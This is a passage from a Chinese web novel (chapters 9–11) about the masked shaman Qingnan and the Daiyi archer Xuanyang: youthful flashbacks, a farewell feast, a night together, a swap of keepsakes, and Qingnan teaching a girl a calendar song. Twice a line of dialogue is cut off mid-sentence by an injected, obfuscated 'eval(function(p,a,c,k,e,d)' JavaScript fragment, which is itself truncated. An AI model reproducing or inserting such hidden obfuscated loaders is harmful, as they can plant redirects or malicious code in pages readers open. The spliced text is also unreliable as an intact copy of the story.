青南拍去飞溅在发丝上的雨雾,悄悄侧过身去听玄旸的鼾声,他是否睡着了? 刚贴近玄旸的脸庞,突然就被对方揪住衣襟,拽入怀中。 温暖的唇轻轻蹭过青南的唇角,慌乱中,见到玄旸少年意气风发的脸上得逞的笑容。 那时的青南还不是青宫之覡,没有面具,无法隐藏自己的情愫。 他摸了摸被碰触过的唇,露出惊诧的表情。 附近的人语声将青南从回忆中拉出来,看来草坡这里是情侣们谈情说爱的优选地带。 青南站起身,拍去长袍上的沙土,心想该回城了,他说:“我有个随从,叫乌狶,是个老练的猎人,不需要你来护送。” 把头上的羽冠摆正,整理下衣服,青南听见身后方那人的声音,是温柔的轻唤声,唤他的名字:“青南。” 本不该搭理,但今夜青南心情有些微妙,没有回应,也没有走开。 青南。 一个熟悉而陌生的名字,是自己世俗的名字。 由玄旸口中唤出,更显得特别。 “你有喜欢的人吗?” “你与巫盈亲好,你喜欢她吗?” 听见意料之外的话,青南感到莫名其妙,随口便回:“我为何要喜欢她?” 青南抬脚刚要走,被玄旸以迅雷不及掩耳之势按在树上,高大的身体压上来,青南没能完成挣扎的动作,对方的脸就撞上自己的面具,撞得鼻子疼,那个凭借速度与力量犯浑的家伙,正用力吻他的唇。 “你做什么!” 被奋力推开,紧接着“啪”一声响,玄旸挨了青南一拳。 揉揉疼痛的手掌,青南淡定离去。 脸颊火辣辣疼,玄旸没理会,他举起手指嗅了嗅气息,刚手指揪住青南衣物,留有衣香。 巫覡从不用拳,有的是可怕的手段让人惨嚎,下辈子悔过。 嘴角微微一笑。 玄旸回味刚才的吻,意犹未尽。 从林中出来,玄旸路过篝火会,见阙月露出神秘微笑,正在朝他招手。 “坐下吧,我很好奇,想问问你。” “问什么?” 阙月瞅着玄旸脸上的伤,压低声问:“你对鹭神使做了什么?我刚看他揉着手离开,接着你就脸上带伤出来了。” 观察入微啊。 “都被打了,还能是做什么。” 玄旸坐下,从身旁捞来一只春酉,抱怀里,掀开陶盖子就想喝,才想到要喝这种酒得有根芦苇杆滤酒。 阙月递来一根芦苇杆,看玄旸喝酒,他那副模样仿佛什么事都不放在心上。 “两尊醴酒,可别忘了。” “明天就送你屋里。” 阙月把脸凑上来,几乎是贴着耳朵:“你们身上带着水晶,路上光顾喝酒就不怕东西丢了?” “你怎么知道?” 玄旸吸口酒,淡定说:“哦,麂子。” 只能是这家伙说出去了,最好只告诉阙月。 “我听说水晶是玄夷君给儿子娶妻准备的聘礼,大皋君有五个女儿,不知道玄邴要下聘哪一个?” 玄旸说:“你认识那五个女孩?” “认识,江皋族的族长,每年秋季都要去大皋城参加盟会,我每次都会跟随我母亲过去。” “还没定下来。” “五个女儿中,就属二女儿皋紫最美,不过她已经有喜欢的人。大皋君是个专断无情的人,我不希望有人拆散那对恋人。” “我会传达。” 玄旸站起身,抱着春酉准备离开,阙月唤住他,揶揄:“你得多练练乐器,学好求爱技巧。” 一把鹤骨笛掷进玄旸怀里,阙月说:“你是侥幸,还能留条命,换做别人冒犯他,早就躺地上凉了。” 玄旸把鹤骨笛随手挂在腰间,挥下手,走了。 9.第 9 章 林风徐徐,吹晃树枝,林间传来鸟群起飞的扑棱声,还有孩子们雀跃的欢呼声。 青南本来要前往祠庙,听闻林间的人语声,便沿着小路,循声过去,远远就望见溪边聚集着一些人,月牙、葵、小辰三个孩子,两个五溪城武士,与及阙月还有玄旸。 孩子们绕着一棵巨树奔走,听到“停”的命令,就掏出弓箭射向大树上悬挂的草团。 给孩子发命令的人是玄旸。 约莫有十个草团,悬挂在树枝上,挂得极高。 孩子们很难得射中草团,刚射中一箭,欢呼声一片,玩得很开心。 “这么练弓,大概是岱夷那边的方法。” 听见有人对自己说话,青南才留意到巫暮就站在离他不远的地方。 正站在适合观看的位置,青南立在树下,目视着前方缓缓说:“岱夷族自幼就会使弓,在这方面有过人禀赋。据说成为岱夷武士,要精通十种技艺,第一项就是箭术。” “鹭神使似乎很了解岱夷。” “听过一些传闻。” 将肩靠在粗糙的树皮上,下垂的树枝遮挡去他的半边面具,本来两人就站得不近,越发有种疏远感。 过了一会,巫暮朝巨树走去,玄旸刚做出停的动作,视线往巫暮这边投来,立即就瞥见树下的青南。 白羽冠,白色长袍,在绿林中十分显眼。 青南没有靠近,也没有理会玄旸的目光,他一直在注视那三个孩子,看他们奔跑,射箭,欢喜雀跃。 小辰不再穿巫女的服饰,已经恢复男孩打扮,他的模样变化不小,之前总觉得闷闷不乐,现在看来活泼又开朗。 阙月瞧见青南,热情朝他打招呼,青南点了下头,没有挪开步子,他不打算过去。 “玄旸,这三个孩子的弓箭都是我教的,你觉得怎样?” “不怎样,差远了。我们岱夷的孩子,这么大的时候就已经在猎鹿了。” “谁要跟岱夷比,在所有部族里边,恐怕就属岱夷族的箭术最好。” “当然,在外面我没遇到过对手。” “你就吹嘘吧。” 孩子们开始自行练习,阙月和玄旸闲谈。 阙月的伤臂仍悬在脖子上,她的箭伤还没好,但人看起来神采奕奕。两人交谈时,语气轻松自然,氛围很好,不难猜出两人是多年朋友。 拉弓发出的嗖嗖声,惊起的鸟叫声,还有耀眼阳光下满目的绿色,孩子们奔跑,发出笑声,让青南过往的记忆浮现。 同样是阳光灿烂,映入眼眸的也是一片绿意,绿意来自羽邑一片生机勃勃的沼泽地,如果第一次来到这里的人,会有不真实感,觉得身处虚幻,因为所见超出认知。 沼泽地里出现残垣断壁,显示这片土地曾有过一段古老的岁月,地貌曾发生过巨变。 羽邑的河道淤塞,使郭城化作沼泽,居民习惯了这样奇异的景象,他们会在沼泽地的边沿地带开垦水田,种植水稻。 在羽邑衰落的两百年时光里,森林入侵人类的都市,郭城的城墙之外郁郁葱葱一片。 总是有野兽在黄昏时分出来游荡,偶尔有伤人的消息,最频繁的骚扰,来自水牛和野猪,它们喜欢到稻田里去,肆无忌惮的糟蹋禾苗。 平日里,只要听到有水牛或者野猪进入稻田,羽邑的孩子们会呼朋唤友,拿着木棍,投石绳,一起驱赶野兽。 但有一段时日,孩子们不用再浑身沾满泥巴,在水稻田里驱赶倔强的水牛,或者在水稻田里亡命狂奔,躲避愤怒的野猪拖家带口的反击。 羽邑来了一位岱夷族少年,他是神弓手。 少年玄旸坐在郭城的城墙上,身背朱漆箭箙,拇指上套着一枚玉指环,他左手握弓,右手捻箭。 他会悠闲地坐在最高处,居高临下,巡视稻田,如果有野兽不知好歹前来闲逛,胆敢把蹄子踏进稻田,下一瞬间,身上就会挨着一箭,嗷嗷惨叫奔逃。 百发百中,犹如玩戏般轻松。 羽邑的孩子们像过节一样,从四面八方涌出,追逐受伤的野兽,将它们捆缚,抬进城中,改善伙食。 少年青南一手提着草篓,一手拿骨耒,轻巧攀上被用来充当道路的郭城城墙,他不急着回青宫,而是朝位于郭城最高处的玄旸走去。 草篓里装的是新挖的根块,一种有毒植物,青南挠了挠过敏发红的左手,对因为接触到毒根块的汁液,手指皮肤传来的刺痛并不怎么在意。 经常劳作,有时还要接触带毒性的东西,青南的手指伤痕累累。 “你怎么还坐在这里?不嫌晒吗?” “等你呀,我看见你提着草篓进林子,一直没出来。” 青南放下草篓,蹲下身拍打袍摆上的灰尘,这是攀爬城墙时沾上的。 “这是什么?” 玄旸探头看草篓里的根块,伸手就要拿,青南连忙抓住他的手腕,脸色都变了:“有毒,你别碰它!” 看见青南红肿的手掌,玄旸不碰毒物,而是去看他的手,认真问:“疼吗?什么感觉?” “不疼,有点痒。”青南缩回自己的手,挨着玄旸坐下。 把草篓捧到跟前,玄旸端详里头的植物根块,很肯定地说:“你还是小心点,快回去找青宫大覡瞧瞧。这是乌藤根,我们那的人会将它捣碎,挤出汁液,用汁液毒杀糟蹋粮食的老鼠,也会涂在箭镞上,用这样的毒箭猎熊。” “我从小接触得多,不怎么怕这些东西。乌藤根?我们这儿不这么叫。” 束发髻的发带松了,有一部分头发散落,青南抬起右手将发髻上插的玉梳取下来,又将发带扯落,他的发丝光泽漂亮,垂放在肩上。 “叫什么?”玄旸盯着披散长发的青南看,目不转睛。 “鬼藤。” 青南用牙咬住发带,右手扯住发带的另一端,熟练的绾髻,束紧发带,玉梳此时就放在他大腿上,白玉地质的玉梳背,象牙材质的梳齿,材料极为珍贵,而且玉梳背上可见细如发丝的线条,是用微雕工艺雕刻的纹饰。 束好头发,青南将玉梳重新插在发髻上。 整个动作很随意,很娴熟。 “果然和你很搭。” 玄旸的脸突然凑过来,打量青南左耳上的耳坠,耳坠的材质是绿松石,美丽纯净,打磨光滑。 耳坠很小巧,制作成犬牙造型。 “送你那么久,一直没见你戴上,我还以为你扔了。” “你自己做的?” “当然,你喜欢吗?”玄旸黑色的眼眸闪闪发光,充满期待。 “还行吧,不难看。” 青南躺下,把背部贴在石砌的地面上,双手摊开,是个舒适自在的姿态,眯起眼望着羽邑上空湛蓝的天,一群白鹭飞过,他脸上绽出笑容。 “不难看?” 身上的阳光忽然被人遮挡,是玄旸的一只手臂撑在自己身侧,正朝自己俯下身,青南嘴角的笑意仍在嘴角潺湲。 凝视对方的笑脸,玄旸的手指触碰耳坠,渐渐偏离目标,指腹摩挲青南的肌肤,继续得寸进尺,手掌轻轻抚摸脸庞,从眉毛,眼睛到唇,目光迷恋而不舍,他低下头,在紊乱的呼吸声中,慢慢地将唇覆上。 孩子们欢快的对话声,还有阙月的唤声,将青南从回忆里拉出来,仰起头看向巨木高大的枝桠,阳光耀眼地让人睁不开眼,小辰和月牙爬树上清点射中草团的箭有多少支,葵在地面捡他们抛下来的一支支木箭,阙月朝树上的孩子喊着:小心,注意脚下。 玄旸站在树下,他双手抱胸,仰着头往上看,也在看护上树的孩子,阳光穿透巨木枝叶间的缝隙,倾洒在他身上。 一件似乎总是披在肩上的岱夷斗篷,身后背负弓箭,腰间挂着一把石刀,一小块砾石,一件象征岱夷武士身份的骨雕筒,一条编织复杂,曾经鲜艳如今颜色已经褪色的布带绕过胸前,垂在腰侧,上面也挂着一袋物品,多半是生活小工具,譬如鹿角制作的锥子、骨针、蚌刀之类。 这些无不揭示他旅人的身份,一个随时做好出行准备的人。 “玄旸,你们会在大皋城停留多久?” “难说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石臼与石杵突然从土台上摔落在地,险些砸伤脚趾,青南过了好一会儿,才呆呆的蹲下身,将东西拾起。 在此之前,玄旸根本没提过要离开羽邑,他和青南天天待在一起,却一句也没提。 “今年青宫的帝君祭日,会有一位新神使参与祭祀。” “青南吗?他到了成为神使的年龄吧。可惜啦,那么漂亮的脸蛋,也要一辈子戴上面具。” “到年龄了。” 青宫大覡与舒纪的交谈声渐渐远去,他们穿过游廊,登上石阶,前往青宫的主殿。 玄旸离开羽邑那天,和他舅舅走的是宫城的东门,那是通往岱夷的方向。 青南脸庞被面具遮住,头戴华美的白羽冠,身穿素白长袍伫立在郭城残破的城墙上,远远目送。 晨风带来初秋的寒意,高处风声呼啸,将他盛装的服饰吹得凌乱,在烈风中,少年的身形稍显单薄。 背上一大堆行囊,携带弓箭,手里还执柄长矛,少年玄旸的身姿挺拔,举止从容不迫,他站在舅舅身旁,与前来送行的羽邑居民一一话别。 离开之前,玄旸回过头,看见城墙上的青南,他扬起头微笑,嘴里喊着什么,他用力挥了挥手,然后转身走了。 舅甥从羽邑那棵极其高大,不知年岁几何的神树旁走过,他们脚下的山道延伸至林谷。 距离如此遥远,遥望两个人影如同草籽般微小,在青南眼前逐渐消失不见,如同被风携去。 “我赢了,我爬得最高!” 月牙坐在高高的树干上挥着手欢呼,小辰还在努力往上爬,看来很不服气。 两个小孩本来在清点树上的箭,忽然起了玩心,比赛谁爬得更高。 “你们两个都给我下来!”阙月单手叉腰,在地上呵斥。 青南将抚摸大树的手移开,抬起头来,冷不丁对上玄旸的目光,视线交织,青南挪开脸。 玄旸的肩膀靠在树干上,目光始终没离开青南,他没说话,但看得出来,他很想说点什么。 10.第 10 章 三月节的飨宴还在继续,五溪城的城主皋月又一次设宴,这次是为岱夷族的三位尊客践行,他们明早就要踏上新的旅程。 木俎上是烤猪肉,热腾腾冒气,散发着油肪烤焦的诱人香味,令人食指大动,一名客人急不可耐的取出骨匕,就要去切割猪肉,骨匕小巧,切得费劲,坐在一旁的沅叟笑呵呵:“不是有羽族刀吗?你拿羽族刀切肉。” 围着大木案就餐的有五人,青南坐在一角,左右都有空位,其余人纷纷挤在一起,有意避让。 原本人们就畏惧青南的巫祝身份,更何况现在有关于鹭神使动动手指就让高地族战士倒地打滚的传言,传得很离奇。 青南本来低头酌酒,听见这句话,忽地抬起头来,看向被人执在手中的石刀,第一次仔细端详它。 形制十分类似青宫祭祀用的切肉刀,不,应该说一模一样,使用相同的石材,刀刃一边呈钝圆状,一边呈尖锐状,刀柄倾斜,具备一致的独特造型。 青南琢磨:“羽族刀?” 拿石刀切割猪肉的客人,秉承着尊老爱幼的习俗,将切下的第一块猪肉给沅叟,沅叟用竹箸夹起那块猪肉,慢吞吞说:“这样的切肉刀,经常在飨宴上出现,原本就是从羽人族那儿学来,人们忘记来历,但还保留叫法。” 青南呷口酒,平淡地说:“应该是相当久远的事吧,在羽邑已经很少人使用,只有青宫举行祭祀,才会用到这种切肉刀。” “老叟年幼时,爱坐在火塘边听老祖父讲以前的故事,确实是相当久远的事。羽人族曾经很兴盛,据说千年前,大地上还没有什么像样的城邑,羽人族就在南方建起一座巨大都邑,那座都邑就是羽邑。” 年老缺牙,进食不容易,沅叟费力地嚼着一片猪肉,为了说话,将猪肉囫囵吞下:“唔,以前的羽人族从不进行远游,他们不会去拜访别的部族,不愿意交流,也不向别的部族学习,很自傲。老叟这么说,鹭神使不要生气。” “远游,在以前是成为勇士和首领必须通过的考验。唯有经过远游的人,才能拥有虎豹般的勇气,拥有比石头还坚硬的意志,获得远方的稀罕物品,掌握他人不具备的知识,远游的人因此受到自己族人的尊敬,在族中享有荣誉。 在很多很多年前,羽邑还有王的时候,王宫里有许多稀奇珍宝,王庭奢靡的生活更是让旅人惊讶,旅人们从羽邑带回物品,还有羽人族王室子弟的生活方式,飨宴上用的厨刀漆俎,女子喜爱的串珠玉璜,这些物件,就这么从羽邑传向四方。” 说完这么长一段话,沅叟气喘,低头咳嗽,孙子递来杯酒,让他喝口酒,润润嗓子。 “羽邑的往事,就连我也不甚明晰。沅叟的祖父,是位拜访过羽邑的旅人吧?”青南喝完杯中的酒,搁下陶杯。 “我们家族算不上大族,但祖上出过不少旅人,到如今与远方的联系有些已经断绝,有些还维系着。我祖父年轻的时候也去过很多地方,曾见过南方的海崖,我祖父是位旅人,也是位族长。” 沅叟的孙子轻拍祖父的背,帮忙回答青南的询问。 在座的宾客向沅叟及其孙子投以赞许的目光。 有人插嘴:“照沅叟这么说,以前的羽邑,不就是现在地中族的文邑嘛,文邑是如今天底下最繁荣、最富有的都邑了。” 另有人说:“我也听说过文邑,文邑到底是怎样的地方?” 对方回答:“太远了,我还没去过。” 邻座有个年轻人探出身子,对沅叟的话表示质疑:“老叟说的是老早以前的事,如今远游归乡的人,既不能当勇士,更不可能当上氏族首领。男人想要受人尊敬,被人拥戴,就应该在战场上杀敌,看他能割下别人多少颗脑袋。” “别在五溪城说这种血腥的事,你想割谁的脑袋?” 妇人威严的声音传来,看她装束,应该是江皋族某个氏族的族长吧。 遭到训斥,年轻人乖巧喝酒,不再说话。 “要我说,旅行对任何人都有益处,旅行能磨练人的意志,增长见识。地中族有句俗语:听得再多,不如亲眼一见。”玄旸本来在和伙伴闲谈,对别人的讨论感兴趣,插进一句话。 “岱夷的武士说得对,我听人说五溪城的醴酒味道极佳,我只能想象,直到我来到五溪城,亲自品尝,真是令人沉迷。” 一位地中族男子手里拿着一根长长的芦苇杆,他怀里抱着一只陶酉。 体验。 青南启唇,无声说出这两个字,他看向木案上摆放的两只陶盉,与及墙角的三口大陶尊,其中一只陶盉的酒他已经尝过,是加了香草的鬯酒,另一只陶盉未品尝,他低头嗅了下气味,可能是米酒。 倒上一杯,慢慢饮下,竟是加了蜂蜜的米酒。 那么,再试试角落里那三口大陶尊的酒吧。 青南端着空酒杯,走到其中一口大陶尊前,他拿起竹制的勺子,往陶尊里勺酒,注入酒杯中。 尝上一口,原来这才是醴酒,味道绵厚,回味无穷。 人们进行远游,最初目的肯定不是想当族里的勇士和族长,而是为了体验未知的事物,为了交流与学习。 从一个部族到另一个部族,地理相隔可能千里,历程必定艰苦,就算是这样,属于社会上层的远距离交流网在很古老的时空里就存在了。 那些进行远游的人,具备他人没有的求知欲,他们的见识与智慧超越同时代的绝大部分人。 “试试春酉。” 一只陶酉掷入怀里,青南连忙接住,还想是谁这么鲁莽,就对上玄旸的笑脸。 自个的微妙心思被他人洞察而感到错愕。 “芦苇杆。”青南伸出手。 玄旸从身上掏出一根,递过去。 接住芦苇杆,青南拿起观察,没有杆芯,杆芯被去掉,内部中空。 回到自己的席位,青南也像其他人那样捧着陶酉,用芦苇杆吸酒,原来是果酒,味道很丰富,青南喝出山楂和枣的味道。 飨宴还在继续,青南感觉自己醉了,他起身离开酒席,独自返回自己位置偏僻的居所。 从热闹嘈杂,温暖明亮的室内离开,踏入寂静昏暗,夜风有些冷的户外,踽踽独行的路上,青南发现月亮圆得像陶纺轮,月色朦胧。 回到自己的居所,青南扒出火塘里保存的火种,加入易燃的干草,用木板扇风,火焰再次燃烧,火塘的火照亮小屋,橘红色的光映在身上。 将陶壶里的清水倒入陶罐,把陶罐架在火塘上,青南烧水,喝酒后感到口渴。 水没有那么快烧开,青南坐在火塘边,用石刀削一块竹片。将竹片削平,削薄,再在竹片上钻孔,方便书写和携带。 带着醉意劳作,效率低下,青南不在意效率,只是想找点事做。 不知过了多久,陶罐里的水沸腾了,青南放下竹片和工具,为自己盛一碗热水,搁在案上。 坐在案前,青南边喝水,边用角锥钻竹片,给竹片打孔,这是个漫长而乏味的过程。 火塘的火越来越小,青南没有再往里头添加木柴,夜色已浓,他准备入睡。 摘下羽冠,脱去外袍,羽冠放进漆盒,外袍挂在架子上。 躺在席上,合上眼睛,毫无睡意。 听着窗外风吹树林发出的呜呜声,声音挺大。 一开始,青南没留意到耳边传来的呜呜声,其实不只是风声,还有鹤骨笛吹响的声音夹杂其中。 当意识到有人在窗外,呜呜的吹奏江皋族的鹤骨笛,他并不感到意外。 那家伙确实会很多种乐器,上一次是吹叶子,后来吹排箫,这回则是吹鹤骨笛。 吹完一支曲子,窗外人踩踏草丛,脚步声逐渐靠近,听声辨位,人往墙上一靠,随后四周陷入沉寂。 能想象他抱着胸,仰头望月亮的模样。 “鹭神使喜欢什么样的酒?我猜猜,应该是加入香草酿的鬯酒,那是祭神的酒。烧沸酒液,酒气腾升,那气味供神享用,亦芬芳喜人,那气味沾染发丝和衣袍,经久不散,令人迷恋。” “我嘛,我喜欢五溪城的春酉,味道甘美,像恋人的吻。” 窗外人自言自语。 “想尝尝毒针吗?”青南坐起身,声音平静。 “我吻你,你也没扎我。” 窗外人没有挪动过位置,还在那儿。 青南已经起身,走到窗户前,往窗外一瞥,果然看到抱胸靠墙的玄旸。 “会不会,我当时身上没有带毒针?” 玄旸离开原本待的位置,朝青南走去,来在他面前,隔着窗口,两人的目光交织在一起。 冷冰冰的面具遮住青南的脸,藏住他的情感,玄旸抬手,触摸这张没有温度的木质面具,指腹在脖颈处摩挲,他压下头,嗓音低哑:“现在带了吗?” 青南闻到玄旸身上的酒味,今夜两人都喝了不少酒。 贴着面具,玄旸亲了一下唇,浅尝辄止,青南没有任何阻拦的动作。 “青南,我来和你道别,还想做一件事,如果你允许的话。” 玄旸的手勾住青南面具上系绑的绳索,像似要摘下面具,推测他的意图,青南按住对方的手。 “何事?” “我的想法很纯粹,我想与你共度良辰。” 良辰…… 望眼夜空,月亮确实有一圈圈的光华。 请与我共度良辰。 覡鹳收藏的木签上,也有类似的一句话。 “你在各地学会不少乐器,看来也没少跟人求爱,都是这么轻率吗?”青南透过玄旸的肩膀,望向夜空中的月亮,朦胧的月光洒在两人身上。 “会不会我一直,就只在一个窗户外徘徊?哪怕屋里头住着一位非常凶残的青宫之覡,我随时都有丢掉性命的可能。” 两人站得很近,近在咫尺,玄旸笑着伸出手臂,将人抱住。 “月亮。”青南呢喃。 玄旸仰头望月。 “在江皋族的图文里,月亮有很多种含义,有月华的月亮,意为:良辰。” 听见青南的解释,玄旸笑语:“还真是良辰啊。” 火塘里的火再次被烧旺,陶罐里的水再次沸腾,火光照亮屋内的两人,之前开启的窗户紧闭。 玄旸坐在火塘边烤火,他身上的斗篷已经脱下,挂在架子上,和青南的外袍搭在一块。 目光追随青南,只见他从木箱里取出一小包物品,拿到火塘边打开,是两个暗褐色的干果。 青南将干果扔进热气腾腾的陶罐里,干果在沸水中翻滚。 “这是什么?”玄旸瞅一眼逐渐变色的沸水。 “喝了会丢掉性命的毒物。”青南拿出一只碗,还拿来一个勺子。 “给我喝吗?” 玄旸好奇的凑过来,仔细将沸水里的干果打量,他觉得这东西有几分眼熟。 过了一会,沸水的颜色已经变深,青南盛上一碗,递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天醒来时,发现本该卧在身旁的人早已经离去,天气温暖,临近午时,青南躺着,懒得动弹。 听窗外林鸟叽叽喳喳的叫声,还有隐约可闻的人语声,外面的阳光应该很好吧。 青南的头发比普遍男性的头发要长很多,成为青宫之覡后,他再没剪过头发,将披散在肩上的长发撩到背后,以手撑地,青南缓慢坐起身,在起身的过程中,有什么东西从身上滚落,只得吃力地伏身去捡,拿起一看,陷入沉思。 那家伙一大早就会和伙伴离开五溪城,此时想必正踏上前往大皋城的路上。 不可能追上,交还。 把玩手中的骨雕筒,青南想应该不是自己在无意识间将它从玄旸身上扯下来,更可能是玄旸大清早起身穿戴衣物,在匆忙之间遗漏了这件贵重物品。 骨雕筒,是玄旸身为岱夷武士的身份象征。 青南第一次近距离观察骨雕筒,发现它竟是一件用象牙而非兽骨制成的筒形器物,它与岱夷武士佩带的骨雕筒形状相同,但材料更珍贵。 要准确地称呼,应该叫它:象牙雕筒。 玄旸这件象牙雕筒,不仅材料难获得,工艺更是精湛,筒周身雕刻三组平行弦纹,在弦纹中间还镶嵌着十枚光滑圆润的绿松石做为装饰。 绿松石镶嵌工艺,是为岱夷工匠所掌握,极为精妙的技能。 果然是稀罕之物,等以后相遇,再还给他吧。 青南将象牙雕筒搁在一旁,过了一会,自言自语:“大概……没有以后。” 旅人不会在旅程上的某个地方永久停留,总是在短暂的休整后,又踏上新的旅程,玄旸就是个旅人。 这算是一夜坦诚相待,天旦各不相干吗。 不想为那家伙的离去而烦恼,至于这件象牙雕筒,那是玄旸该苦恼的事。 青南穿好衣物,坐在案前,他拿起案上的一把骨梳,将头发梳顺,把长发盘成发髻,系上发带,插上玉簪,接着戴上羽冠,最后,再罩上面具。 似乎……还少了一样东西? 是什么? 青南摸向自己的发髻,他恍然,是那件平日里用来插头的玉梳。 在屋中仔细寻找,没能找到,青南看向被摆在木箱上面,孤零零的象牙雕筒,像似想起什么,急忙摸向自己的腰间,腰带还在。 果然。 青南已经明白是怎么回事。 是那家伙取走我的玉梳,留下他的象牙雕筒。 青南感到不可思议,喃喃自语:“定情……信物?” 堪称什么鬼都知道的玄旸,肯定清楚羽人族的定情信物是插梳,而非腰带。 羽人族无论男女,成年后都会在发髻上插一把梳子,不同的只是平民用木梳,用骨梳,权贵阶层用玉梳。 岱夷族的定情信物,显然也是配饰,玄旸留下象牙雕筒而不是别的饰物,原因只有一个:他拿走青南总是随身佩戴,最为贵重的玉梳,留下与之对等的信物。 青南推开窗户,阳光瞬间倾洒进屋,和风抚面,确实是个好天气,天湛无云,晴空万里。 五溪城早已远去,麂子回望时只看见山头和树林,来不及惆怅,就听见玄邴发出一声惊叫,他发现玄旸总是系在腰间的象牙雕筒不见了。 玄旸反应异常淡定,一点都不着急,他摸向衣兜,衣兜里正躺着青南的玉梳,指腹传来玉器温润又冰凉的触感。 11.第 11 章 一块块长方形的薄竹片被绳索串在一起,搁在青南右臂旁,还有一叠未穿上绳索的竹片,放在左边,青南从中取来一片,摆正,用沾墨的笔在上面绘制着什么,图案渐渐成型,是某种植物的叶和果,绘好图案,青南在植物旁写上一行神秘符号,这种符号是羽人族的图文,也叫竹文。 唯有青宫的巫覡能书写和阅读竹文,这些薄竹片的最终归属,便是成为青宫收藏“档案”的一部分。 两只鸟儿跳上窗台,发出啾唧声,互相跳起舞蹈,已经过了求偶季节,大概是玩戏中的伙伴。 窗外是一片桃林,桃花早已从枝头掉落,枝上结着果实,天气日渐炎热,已经进入夏季。 屋中的木架上摆放各种物品,其中就有一篮鲜桃,还有一些放在陶盘里的梅子和李子,甚至在木架下还放着一篓颜色各异的野果子。 靠近木案的壁龛上摆着一盏油灯,火塘里炭火被清理的一干二净,已经很久没生过火,夜晚改用油灯照明。 户外还有一个露天土灶,就在门口处,堆满柴薪的屋檐之下,灶里仍有火星,灶上是只煮水的陶罐,有一股清香的气味从陶罐里渗出。 月牙站在青南小屋外,四处张望时,就闻到了这股气味,她辨认味道,确认陶罐里煮的是茶叶。 五溪城外有很多茶树,祠庙里也种了一棵,五溪城人一向喜欢花草,自然也爱茶花,巫女们偶尔也会采摘茶叶煮水喝,说是有提神的功效。 不同的植物,有不同的疗效,月牙认识很多种植物,她总是记得很牢。 鹭神使看来很忙,还没发现我。 月牙低头玩手腕上戴的由鲜花编织成的手环,玩了一会,她抬起头来,决定出声提醒。 “鹭神使,我过来了。” “盈姐姐说,鹭神使要我教我羽人族的知识,让我今天过来。” 听见月牙在屋外的喊声,青南放下书写的笔,收拾案上的物品,回应:“进来。” 得到允许,月牙开心的踏上门阶,进入这间不大,但舒适明亮的小屋。 青南仍在收拾案上的东西,月牙禁不住好奇,打量起屋内的物品,她留意到木案旁放置着几样东西,有燧石片,有石锥,砺石,原来鹭神使平日里也会制作工具啊。 屋内充满生活气息,一只摆放在火塘旁的水壶,壶口甚至插着两朵荷花,一朵绽放,一朵含苞待放。 “月牙,到屋外盛两碗热汤来。” “好。” 很快从屋外盛来两碗热汤,就摆在案上,月牙也坐在案旁,和青南坐在一块。 她学青南用流畅而优雅的动作喝茶汤,喝上一口汤,好奇问:“鹭神使要教我什么?” “你想学什么?” “鹭神使,我想学那种举起手‘啪啦’一声,坏人就会倒下的技能!” “没有这种技能。” 罩着面具,但是月牙觉得鹭神使似乎笑了一下,语气里带有笑意,她脸上也绽出笑容:“我知道,那是能让坏人倒下,惨叫打滚的秘药。暮姐姐说她也能制作,但不像鹭神使的药那么厉害,能立即生效。” “我不能传授你这类知识。” “因为我是小孩吗?那我长大了可不可以学?” “不能,只传授青宫巫覡。” “哦,这样啊。” 月牙托住腮帮子,露出失落表情。 “我要教你羽人族的歌谣。” “歌谣?” 青南的声音不似先前那么亲和,比较严肃:“你要用心记,这支歌谣里头有羽人族世代相传的历法,历法可以指导农事。” 月牙认真地点点头,虽然鹭神使说的历法,还有指导农事她听不大明白,但觉得肯定很重要。 月牙小声说:“可是,我不懂羽人族语。” “我会用江皋族语教你。” 青南抚摸整理成一叠,放在手旁的竹片,像似在自言自语:“五溪城的图文也好,青宫的竹文也好,原本都是为了和神明交流,才被发明出来。能书写的字句极少,大部分的用语,根本无法书写,各氏族世代积累的知识,都是靠歌谣流传。” 原始文字的词语库太少,很多东西没法记录,只能以歌谣的方式,一代代传承。 月牙的小脸蛋皱了起来,她不大能理解青南的话,毕竟再聪明,也只是个孩子。 “鹭神使,我怕我记下来后,还是不懂歌谣的意思。” “你不用懂,只要记住歌谣,将每一句记牢。巫盈能听懂歌谣内容,等你长大后,你也能懂得。” “我吟唱一段,你跟着学。” “好。” 月牙正襟危坐,集中注意力,等待传授。 不知道过了多久,窗外的阳光不再明亮,晚霞悄悄爬上天边,月牙喝完三碗茶汤,还觉得口干舌燥。 歌谣很长很长,月牙用一个白日的时间,将歌谣的上半部分记下来。 小孩子的记性好,而且能活更长的时间,是最佳的传承人,所以歌谣不传授巫盈,而是选择月牙。 离开木案,拍拍坐得酸麻的膝盖,月牙开心地问:“鹭神使,我明天还是早上过来吗?” “还是,再教你一日,这首歌谣就教完了。” 青南站起身,走到门口,乌狶正在屋外做饭,灶上升起炊烟。 这座小屋位于坡地,此时屋外升起炊火,不远处,那些位于平地上的屋舍也纷纷升起炊火。 孩子们在奔跑,追逐,狗子们在吠叫,大人们在和左邻右舍交谈,打招呼。 还有几头猪,在一座排屋后面晃晃悠悠,摇着肥圆的肚子。 傍晚,五溪城居民安逸的生活一览无余。 “我学会歌谣后,鹭神使是不是就要走了?” 月牙走下门阶,走出好远,又回头,望着青南的身影,不舍唤叫。 朝那小小的身影点了下头,青南返回屋中。 不知不觉,青南在五溪城已经住了三个多月,差不多该离开这片漫山遍野开满美丽花卉的土地。 一只母猴跃上祠庙的屋檐,坐在上头大啖桃子,一只淘气的小猴子跳过来,伸掌想抢母猴的桃子,两猴争夺一番,攀上树枝,追逐的身影远去。 桃林里只剩鸟叫声,还有月牙吟唱歌谣的声音,曲调悠长,绵绵不绝,歌谣的内容似乎是在咏唱日月星辰,草木鸟兽等自然之物,但其实蕴含着不少历法知识。 